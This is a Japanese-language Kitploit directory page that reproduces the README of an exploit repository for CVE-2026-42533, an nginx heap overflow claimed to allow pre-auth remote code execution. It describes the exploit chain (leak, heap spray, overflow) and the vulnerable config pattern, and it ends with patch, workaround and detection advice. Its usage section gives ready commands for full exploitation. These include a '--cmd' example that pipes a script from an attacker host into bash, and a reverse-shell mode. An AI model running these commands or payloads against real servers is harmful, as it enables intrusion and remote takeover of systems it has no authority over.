Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-42533 — nginx ヒープバッファオーバーフロー (CVE-2026-42533) のエクスプロイト。two-pass capture clobbering による事前認証 RCE を提供します。情報漏えい、ヒープスプレー、リバースシェルの各モジュールを含みます。 | Kitploit
ツール/GitHubGitHub/imbas007/cve-2026-42533
偵察脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペイロード開発バイナリエクスプロイト
GitHubimbas007/cve-2026-42533

CVE-2026-42533

nginx ヒープバッファオーバーフロー (CVE-2026-42533) のエクスプロイト。two-pass capture clobbering による事前認証 RCE を提供します。情報漏えい、ヒープスプレー、リバースシェルの各モジュールを含みます。

リポジトリを見る
32925日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-42533 — nginx ヒープバッファオーバーフロー PoC エクスプロイト

2パスキャプチャ破壊による事前認証リモートコード実行

公開 PoC リリース: 2026-07-27 — 待たずに今すぐパッチを適用してください。

CVECVE-2026-42533
CVSS 4.09.2 (重大)
種別ヒープバッファオーバーフロー (CWE-122)
影響を受けるバージョンnginx 0.9.6 – 1.30.3 (stable)、0.9.6 – 1.31.2 (mainline)
修正バージョンnginx 1.30.4 / 1.31.3、NGINX Plus R36 P7 / 37.0.3.1
開示日2026-07-15 (F5 / NGINX)
PoC リリース日2026-07-27
研究者Stan Shaw (0xCyberstan)

動作確認済み

プラットフォーム診断オーバーフロークラッシュ情報漏えい
Ubuntu 24.04 x86_64✅✅✅ SIGABRT⚠️ 部分的

概要

CVE-2026-42533 は、nginx の2パス文字列評価エンジンにおける重大なヒープバッファオーバーフローです。正規表現ベースの map ディレクティブが番号付きキャプチャグループ ($1、$2 など) と相互作用する際、共有構造体 r->captures が LEN (計測) パスと VALUE (書き込み) パスの間で静かに上書きされます。これによりサイズの不一致が発生します:

  • キャプチャが大きい場合 → ヒープバッファオーバーフロー (攻撃者が制御する境界外書き込み)
  • キャプチャが小さい場合 → 情報漏えい (初期化されていないヒープメモリが露出し、libc/ヒープポインタが漏えい)

これら2つのプリミティブを連結することで、ASLR を打破し、信頼性の高い事前認証 RCE が可能になります — Ubuntu 24.04 で 10/10 の信頼性で実証済みです。

動作の仕組み

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  LEN PASS (measure)                                          │
│    $1 from location ~ ^/api/(...)$ = "abc" → measures 3 bytes│
│    $overflow_gadget = giant_header → measures 5000 bytes     │
│    Buffer allocated: 5003 bytes                              │
│                                                              │
│  [ $overflow_gadget triggers map regex → clobbers $1 ]      │
│    $1 now = giant_header (5000 bytes)                        │
│                                                              │
│  VALUE PASS (write)                                          │
│    $1 writes 5000 bytes (LEN said 3!)  → OVERFLOW!          │
│    $overflow_gadget writes 5000 bytes                        │
│    Total written: 10000 bytes into 5003-byte buffer          │
│    → 4997 bytes overflow into adjacent heap                  │
└─────────────────────────────────────────────────────────────┘

オーバーフローは隣接するヒープ構造を破壊します。主なターゲットは ngx_pool_cleanup_t です:

root@kitploit:~
struct ngx_pool_cleanup_s {
    ngx_pool_cleanup_pt  handler;  // function pointer → overwrite for RIP control
    void                *data;     // argument to handler
    ngx_pool_cleanup_t  *next;     // next in chain
};

接続プールが破棄されると handler(data) が呼び出され → 任意のコード実行が可能になります。

リポジトリ構成

root@kitploit:~
CVE-2026-42533/
├── exploit/
│   ├── exploit.py       # Full exploit chain (leak → spray → overflow → RCE)
│   ├── leak.py          # Info leak module (heap/libc pointer leak)
│   ├── overflow.py      # Heap overflow module (crash / RCE trigger)
│   ├── analyze.py       # GDB analysis helper for offset determination
│   └── requirements.txt # Python dependencies
├── nginx/
│   └── nginx.conf       # Vulnerable nginx configuration
├── Dockerfile            # Docker build for test environment (Ubuntu 24.04)
├── docker-compose.yml    # Docker Compose for easy deployment
└── README.md

クイックスタート

前提条件

  • Python 3.8+ と requests ライブラリ
  • 対象: 脆弱な設定を持つ nginx 0.9.6–1.30.3/1.31.2 (下記参照)

1. 脆弱性の確認 (安全)

root@kitploit:~
# Diagnostic mode — shows two-pass mismatch (safe, no crash)
python3 exploit/overflow.py <target> --diagnose

出力:

root@kitploit:~
  header=   10: LEN=   13 actual=   13 internal_overflow=    7 ✓
  header=  100: LEN=  103 actual=  103 internal_overflow=   97 ✓
  header= 1000: LEN= 1003 actual= 1003 internal_overflow=  997 ✓

2. クラッシュ PoC (悪用可能性の証明)

root@kitploit:~
python3 exploit/overflow.py <target> --crash

Ubuntu 24.04 での実行結果:

root@kitploit:~
worker process 12282 exited on signal 6 (core dumped)
free(): invalid next size (normal)

3. テスト環境のセットアップ

root@kitploit:~
# Ubuntu 24.04 (confirmed working)
ssh root@<your-server>
apt-get install -y build-essential libpcre2-dev libssl-dev zlib1g-dev
wget https://nginx.org/download/nginx-1.27.4.tar.gz
tar xzf nginx-1.27.4.tar.gz && cd nginx-1.27.4
./configure --prefix=/usr/local/nginx --with-cc-opt='-g -O0'
make -j$(nproc) && make install

# Copy vulnerable config
cp nginx/nginx.conf /usr/local/nginx/conf/nginx.conf
/usr/local/nginx/sbin/nginx

# Run exploit from your machine
python3 exploit/overflow.py <server-ip> --diagnose

4. Docker (代替手段)

root@kitploit:~
docker compose up -d --build
python3 exploit/overflow.py localhost --port 8080 --diagnose

使用方法

完全なエクスプロイトチェーン

root@kitploit:~
python3 exploit/exploit.py <target> [options]

# Examples:
python3 exploit/exploit.py 192.168.1.100                    # full auto
python3 exploit/exploit.py 192.168.1.100 --leak-only        # recon only
python3 exploit/exploit.py 192.168.1.100 --crash            # verify vuln
python3 exploit/exploit.py 192.168.1.100 --cmd "id > /tmp/pwned"

# Manual mode (if you have pre-leaked addresses)
python3 exploit/exploit.py 192.168.1.100 \
    --libc 0x7f1234000000 \
    --heap 0x5a1234000000 \
    --cmd "curl http://attacker/shell.sh | bash"

# Reverse shell
python3 exploit/exploit.py 192.168.1.100 \
    --reverse-shell --lhost 10.0.0.1 --lport 4444

情報漏えいモジュール

root@kitploit:~
python3 exploit/leak.py <target> [options]

# Quiet mode (just output addresses)
python3 exploit/leak.py 192.168.1.100 -q
# LIBC:0x7f1234567890
# HEAP:0x5a1234567890

オーバーフローモジュール

root@kitploit:~
python3 exploit/overflow.py <target> --crash     # crash worker (PoC)
python3 exploit/overflow.py <target> --spray     # heap spray only

脆弱な設定パターン

このエクスプロイトを成立させるには、nginx 設定に以下の特定のパターンが必要です:

root@kitploit:~
# 1. A regex-based map (clobbers capture state)
map $http_x_overflow $overflow_gadget {
    "~^(.+)$"  $1;       # regex match overwrites $1
    default    "";
}

# 2. A regex location (creates captures)
server {
    location ~ ^/api/(...)$ {   # creates $1, $2, ...
        # 3. Both capture AND map variable in same directive
        return 200 "$1$overflow_gadget";   # ← two-pass sink
    }
}

公開スキャナを使用して脆弱な設定を検出できます:

  • https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner

クラッシュ実証 (Ubuntu 24.04)

root@kitploit:~
Worker PID:  12282

[Phase 1] Diagnostic:
  header=100:  LEN=103,  response=103  ✓
  header=1000: LEN=1003, response=1003 ✓ (997 byte internal overflow!)

[Phase 2] Heap Corruption:
  8000-byte header → VALUE writes 16000 bytes into 8003-byte buffer
  → 7997 bytes overflow past buffer boundary

Worker PID:  12331  (NEW — old worker DEAD!)

Error log:
  free(): invalid next size (normal)
  worker process 12282 exited on signal 6 (core dumped)

緩和策

即時対応 (パッチ)

root@kitploit:~
# Upgrade to patched versions:
# nginx 1.30.4+ (stable) / 1.31.3+ (mainline)
# NGINX Plus R36 P7 / 37.0.3.1

暫定的な回避策

map ディレクティブ内の番号付きキャプチャを名前付きキャプチャに置き換えます:

root@kitploit:~
# VULNERABLE
map $http_foo $bar {
    "~^(.+)$"  $1;    # numbered capture → clobbers shared state
}

# MITIGATED
map $http_foo $bar {
    "~^(?<val>.+)$"  $val;  # named capture → isolated
}

検出

  • 設定スキャナを実行: https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner
  • 予期しない nginx ワーカーの再起動を監視する
  • nginx のバージョンを確認する: nginx -v (1.30.4 以上、または 1.31.3 以上である必要があります)

参考情報

  • F5 セキュリティアドバイザリ
  • 0xCyberstan テクニカルレポート
  • CVE-2026-42533 Config Scanner

免責事項

この PoC はセキュリティ研究および防御目的で公開されています。自分が所有するシステム、またはテストする明示的な権限を持つシステムに対してのみ使用してください。この脆弱性は修正済みです — まだアップグレードしていない場合は、すぐにアップグレードしてください。

ツールをダウンロード